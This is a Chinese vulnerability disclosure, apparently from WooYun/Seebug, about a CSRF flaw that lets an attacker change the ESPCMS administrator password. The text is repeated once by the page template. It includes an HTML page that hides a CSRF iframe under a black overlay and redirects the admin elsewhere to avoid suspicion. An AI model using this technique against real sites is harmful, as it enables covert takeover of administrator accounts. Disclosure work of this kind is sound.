### 简要描述：
ESPCMS后台CSRF修改管理密码
### 详细说明：
修改管理员密码没有验证原密码 我也是醉了 抓包
[<img src="https://images.seebug.org/upload/201504/1323185352031d2b2cec6bebf8ba0831e87b8edf.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/1323185352031d2b2cec6bebf8ba0831e87b8edf.jpg)
[<img src="https://images.seebug.org/upload/201504/13231859deb12ba4ac61145be542287ba2d44ed9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13231859deb12ba4ac61145be542287ba2d44ed9.png)
没有token值验证 构造表单试试？
[<img src="https://images.seebug.org/upload/201504/13231922ad16f852546f9e1ab133ce76f87ae61d.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13231922ad16f852546f9e1ab133ce76f87ae61d.jpg)
[<img src="https://images.seebug.org/upload/201504/132319272439f5b7c1d90d8299e19c969fd30d50.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/132319272439f5b7c1d90d8299e19c969fd30d50.png)
ok啊 可以修改啊
表单构造好了，但是修改好了之后随便不会提示修改了密码，但是会自动跳转到后台，这样就会被管理员发现或者产生怀疑了~~
肿么破？？？
我们利用回旋镖~
我们新建一个html，代码如下
```
<html>
<table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;"><tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align:top;"><h1>乌云测试</h1></td></tr></tbody></table><
<meta http-equiv="refresh" content="4;url=http://www.wooyun.org/"> <!--设置一个正常的跳转页面！-->
<title>test</title>
<iframe src="http://localhost/test.html"></iframe><!--csrf攻击页面的地址！-->
</html>
```
这样我们只要访问这个test页面之后就可以修改其密码，而且这个页面会自动跳转到你想跳转的地方（当然，这个页面你可以适度美化，掩饰）
[<img src="https://images.seebug.org/upload/201504/13232808791806839094602bfab175c3f66d0178.jpg" alt="DNC4()XV%0X~M4UN`IKRF(S.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13232808791806839094602bfab175c3f66d0178.jpg)
ok
### 漏洞证明：
修改管理员密码没有验证原密码 我也是醉了 抓包
[<img src="https://images.seebug.org/upload/201504/1323185352031d2b2cec6bebf8ba0831e87b8edf.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/1323185352031d2b2cec6bebf8ba0831e87b8edf.jpg)
[<img src="https://images.seebug.org/upload/201504/13231859deb12ba4ac61145be542287ba2d44ed9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13231859deb12ba4ac61145be542287ba2d44ed9.png)
没有token值验证 构造表单试试？
[<img src="https://images.seebug.org/upload/201504/13231922ad16f852546f9e1ab133ce76f87ae61d.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13231922ad16f852546f9e1ab133ce76f87ae61d.jpg)
[<img src="https://images.seebug.org/upload/201504/132319272439f5b7c1d90d8299e19c969fd30d50.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/132319272439f5b7c1d90d8299e19c969fd30d50.png)
ok啊 可以修改啊
表单构造好了，但是修改好了之后随便不会提示修改了密码，但是会自动跳转到后台，这样就会被管理员发现或者产生怀疑了~~
肿么破？？？
我们利用回旋镖~
我们新建一个html，代码如下
```
<html>
<table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;"><tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align:top;"><h1>乌云测试</h1></td></tr></tbody></table><
<meta http-equiv="refresh" content="4;url=http://www.wooyun.org/"> <!--设置一个正常的跳转页面！-->
<title>test</title>
<iframe src="http://localhost/test.html"></iframe><!--csrf攻击页面的地址！-->
</html>
```
这样我们只要访问这个test页面之后就可以修改其密码，而且这个页面会自动跳转到你想跳转的地方（当然，这个页面你可以适度美化，掩饰）
[<img src="https://images.seebug.org/upload/201504/13232808791806839094602bfab175c3f66d0178.jpg" alt="DNC4()XV%0X~M4UN`IKRF(S.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13232808791806839094602bfab175c3f66d0178.jpg)
ok
京公网安备 11010502034610号
暂无评论